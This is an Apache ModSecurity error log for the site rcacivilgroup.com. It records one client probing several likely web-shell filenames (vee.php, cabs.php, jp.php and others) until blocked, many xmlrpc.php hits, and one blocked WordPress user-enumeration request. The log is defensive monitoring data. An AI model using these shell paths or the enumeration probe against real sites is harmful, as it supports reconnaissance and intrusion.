[Thu Apr 16 23:03:32.042987 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:21530] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "aeD6RDbDwvcXorHR_Mwh2wAAAVU"]
[Thu Apr 16 23:03:32.608201 2026] [:error] [pid 49094:tid 49103] [client 20.203.186.201:35880] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vee.php"] [unique_id "aeD6RDbDwvcXorHR_Mwh3QAAAUc"]
[Thu Apr 16 23:03:33.164470 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:21566] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aeD6RaMCQoTw7TsxWukDZAAAANI"]
[Thu Apr 16 23:03:33.732038 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:27148] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aeD6RaMCQoTw7TsxWukDaAAAAMM"]
[Thu Apr 16 23:03:34.502690 2026] [:error] [pid 29603:tid 29619] [client 20.203.186.201:21531] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aeD6RlfGOR6fpTWUAzq1qQAAAQ4"]
[Thu Apr 16 23:03:35.101320 2026] [:error] [pid 57537:tid 57592] [client 20.203.186.201:27180] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aeD6R1VQRS8nm73ENAnNQAAAAFE"]
[Thu Apr 16 23:03:35.761775 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:62054] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeD6RzbDwvcXorHR_Mwh5gAAAVU"]
[Thu Apr 16 23:03:36.279269 2026] [:error] [pid 49094:tid 49102] [client 20.203.186.201:35853] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeD6SDbDwvcXorHR_Mwh6wAAAUY"]
[Thu Apr 16 23:03:36.960673 2026] [:error] [pid 57538:tid 57618] [client 20.203.186.201:41482] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeD6SMuMaiEF5SVR2Bf83gAAAJA"]
[Thu Apr 16 23:03:37.514777 2026] [:error] [pid 49094:tid 49116] [client 20.203.186.201:47003] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeD6STbDwvcXorHR_Mwh8AAAAVQ"]
[Thu Apr 16 23:03:38.184666 2026] [:error] [pid 49094:tid 49106] [client 20.203.186.201:35396] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "aeD6SjbDwvcXorHR_Mwh9AAAAUo"]
[Thu Apr 16 23:03:38.765706 2026] [:error] [pid 57639:tid 57651] [client 20.203.186.201:62035] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "aeD6SqMCQoTw7TsxWukDcAAAAMU"]
[Thu Apr 16 23:03:39.329865 2026] [:error] [pid 57639:tid 57652] [client 20.203.186.201:21533] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "aeD6S6MCQoTw7TsxWukDcgAAAMY"]
[Thu Apr 16 23:03:40.226499 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:35405] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "aeD6TKMCQoTw7TsxWukDdwAAANc"]
[Thu Apr 16 23:03:40.958812 2026] [:error] [pid 57536:tid 57549] [client 20.203.186.201:62044] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "aeD6TCQU4faGja6jpDuvAQAAAAE"]
[Thu Apr 16 23:03:41.571664 2026] [:error] [pid 49094:tid 49116] [client 20.203.186.201:40495] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "aeD6TTbDwvcXorHR_MwiAAAAAVQ"]
[Thu Apr 16 23:03:42.288533 2026] [:error] [pid 57538:tid 57610] [client 20.203.186.201:15611] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "aeD6TsuMaiEF5SVR2Bf84QAAAIg"]
[Thu Apr 16 23:03:42.904426 2026] [:error] [pid 49094:tid 49111] [client 20.203.186.201:35407] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "aeD6TjbDwvcXorHR_MwiBAAAAU8"]
[Thu Apr 16 23:03:43.394700 2026] [:error] [pid 49094:tid 49113] [client 20.203.186.201:40497] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeD6TzbDwvcXorHR_MwiBwAAAVE"]
[Thu Apr 16 23:03:44.002620 2026] [:error] [pid 49094:tid 49109] [client 20.203.186.201:41499] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeD6UDbDwvcXorHR_MwiDAAAAU0"]
[Thu Apr 16 23:03:44.563141 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:25776] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeD6UKMCQoTw7TsxWukDggAAANc"]
[Thu Apr 16 23:03:45.139408 2026] [:error] [pid 29603:tid 29617] [client 20.203.186.201:25777] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeD6UVfGOR6fpTWUAzq1rgAAAQw"]
[Thu Apr 16 23:04:31.797994 2026] [:error] [pid 57639:tid 57656] [client 167.172.129.25:48594] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD6f6MCQoTw7TsxWukEKwAAAMo"]
[Thu Apr 16 23:06:02.169444 2026] [:error] [pid 57639:tid 57669] [client 103.205.142.28:42942] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD62qMCQoTw7TsxWukFsQAAANc"]
[Thu Apr 16 23:09:07.398214 2026] [:error] [pid 57639:tid 57651] [client 160.250.186.233:53726] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD7k6MCQoTw7TsxWukH-QAAAMU"]
[Thu Apr 16 23:09:19.636734 2026] [:error] [pid 57639:tid 57660] [client 35.198.41.118:60842] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD7n6MCQoTw7TsxWukIGQAAAM4"]
[Thu Apr 16 23:09:32.838729 2026] [:error] [pid 49094:tid 49105] [client 23.105.193.86:50180] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD7rDbDwvcXorHR_MwkuAAAAUk"]
[Thu Apr 16 23:10:27.926325 2026] [:error] [pid 57639:tid 57661] [client 159.89.91.236:38484] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD746MCQoTw7TsxWukI7wAAAM8"]
[Thu Apr 16 23:13:16.713728 2026] [:error] [pid 57639:tid 57648] [client 146.59.70.139:42040] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD8jKMCQoTw7TsxWukLRAAAAMI"]
[Thu Apr 16 23:13:27.971770 2026] [:error] [pid 57639:tid 57656] [client 159.223.61.19:45012] [client 159.223.61.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.61.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD8l6MCQoTw7TsxWukLZwAAAMo"]
[Thu Apr 16 23:13:40.854323 2026] [:error] [pid 57639:tid 57646] [client 212.132.70.123:52938] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD8pKMCQoTw7TsxWukLjAAAAMA"]
[Thu Apr 16 23:19:12.127242 2026] [:error] [pid 57536:tid 57556] [client 54.37.239.214:50010] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD98CQU4faGja6jpDu0ZwAAAAg"]
[Thu Apr 16 23:20:24.230017 2026] [:error] [pid 29603:tid 29622] [client 155.133.132.65:45761] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD-OFfGOR6fpTWUAzq5zAAAARE"]
[Thu Apr 16 23:20:34.408342 2026] [:error] [pid 57536:tid 57570] [client 69.57.172.96:39234] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD-QiQU4faGja6jpDu0zQAAABY"]
[Thu Apr 16 23:22:30.599838 2026] [:error] [pid 49094:tid 49107] [client 159.65.130.72:25196] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD-tjbDwvcXorHR_MwqfQAAAUs"]
[Thu Apr 16 23:24:05.245176 2026] [:error] [pid 49094:tid 49109] [client 204.48.18.182:58340] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD_FTbDwvcXorHR_MwrHQAAAU0"]
[Thu Apr 16 23:26:20.771455 2026] [:error] [pid 49094:tid 49103] [client 3.35.105.150:57894] [client 3.35.105.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.35.105.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD_nDbDwvcXorHR_MwsIAAAAUc"]
[Thu Apr 16 23:28:16.892123 2026] [:error] [pid 7880:tid 7888] [client 59.125.102.226:34194] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEAEKaezm4fSGc0yULYCAAAAYM"]
[Thu Apr 16 23:28:46.061354 2026] [:error] [pid 49094:tid 49096] [client 204.48.18.182:48776] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEALjbDwvcXorHR_Mws6AAAAUA"]
[Thu Apr 16 23:32:02.105666 2026] [:error] [pid 57639:tid 57669] [client 91.245.210.195:54484] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEA8qMCQoTw7TsxWukWWwAAANc"]
[Thu Apr 16 23:34:24.645558 2026] [:error] [pid 29603:tid 29606] [client 59.125.102.142:41564] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEBgFfGOR6fpTWUAzq8pgAAAQE"]
[Thu Apr 16 23:35:04.993519 2026] [:error] [pid 49094:tid 49104] [client 104.208.160.135:50366] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEBqDbDwvcXorHR_MwvWQAAAUg"]
[Thu Apr 16 23:35:39.225567 2026] [:error] [pid 57639:tid 57663] [client 217.61.143.66:47436] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEBy6MCQoTw7TsxWukYxwAAANE"]
[Thu Apr 16 23:38:47.976808 2026] [:error] [pid 57538:tid 57618] [client 64.92.9.212:48000] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeECh8uMaiEF5SVR2BcD2wAAAJA"]
[Thu Apr 16 23:42:24.153182 2026] [:error] [pid 57537:tid 57594] [client 162.222.34.234:42592] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEDYFVQRS8nm73ENAnS0wAAAFM"]
[Thu Apr 16 23:42:34.879503 2026] [:error] [pid 57639:tid 57668] [client 159.65.127.101:59070] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEDaqMCQoTw7TsxWukcwAAAANY"]
[Thu Apr 16 23:43:58.392030 2026] [:error] [pid 49094:tid 49103] [client 148.251.75.145:34302] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEDvjbDwvcXorHR_MwzqQAAAUc"]
[Thu Apr 16 23:45:20.003131 2026] [:error] [pid 57639:tid 57651] [client 195.242.102.130:51684] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEEEKMCQoTw7TsxWukeqgAAAMU"]
[Thu Apr 16 23:45:30.885554 2026] [:error] [pid 7880:tid 7900] [client 23.239.25.95:36024] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEEGqaezm4fSGc0yULb_AAAAY8"]
[Thu Apr 16 23:47:27.534044 2026] [:error] [pid 57639:tid 57646] [client 178.62.32.109:57034] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEEj6MCQoTw7TsxWukfsAAAAMA"]
[Thu Apr 16 23:48:39.590552 2026] [:error] [pid 57536:tid 57560] [client 85.128.143.151:45396] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEE1yQU4faGja6jpDvANgAAAAw"]
[Thu Apr 16 23:48:44.123161 2026] [:error] [pid 29603:tid 29616] [client 167.172.129.25:58536] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEE3FfGOR6fpTWUAzq_RgAAAQs"]
[Thu Apr 16 23:49:55.220513 2026] [:error] [pid 57639:tid 57646] [client 212.125.4.206:42846] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEFI6MCQoTw7TsxWukhDAAAAMA"]
[Thu Apr 16 23:54:24.000870 2026] [:error] [pid 57537:tid 57596] [client 34.69.193.192:58271] [client 34.69.193.192] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeEGL1VQRS8nm73ENAnUoAAAAFU"]
[Thu Apr 16 23:54:25.115859 2026] [:error] [pid 57537:tid 57592] [client 34.69.193.192:58271] [client 34.69.193.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.193.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEGMVVQRS8nm73ENAnUogAAAFE"]
[Thu Apr 16 23:54:26.316811 2026] [:error] [pid 57536:tid 57550] [client 34.69.193.192:61252] [client 34.69.193.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.193.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEGMiQU4faGja6jpDvBXQAAAAI"]
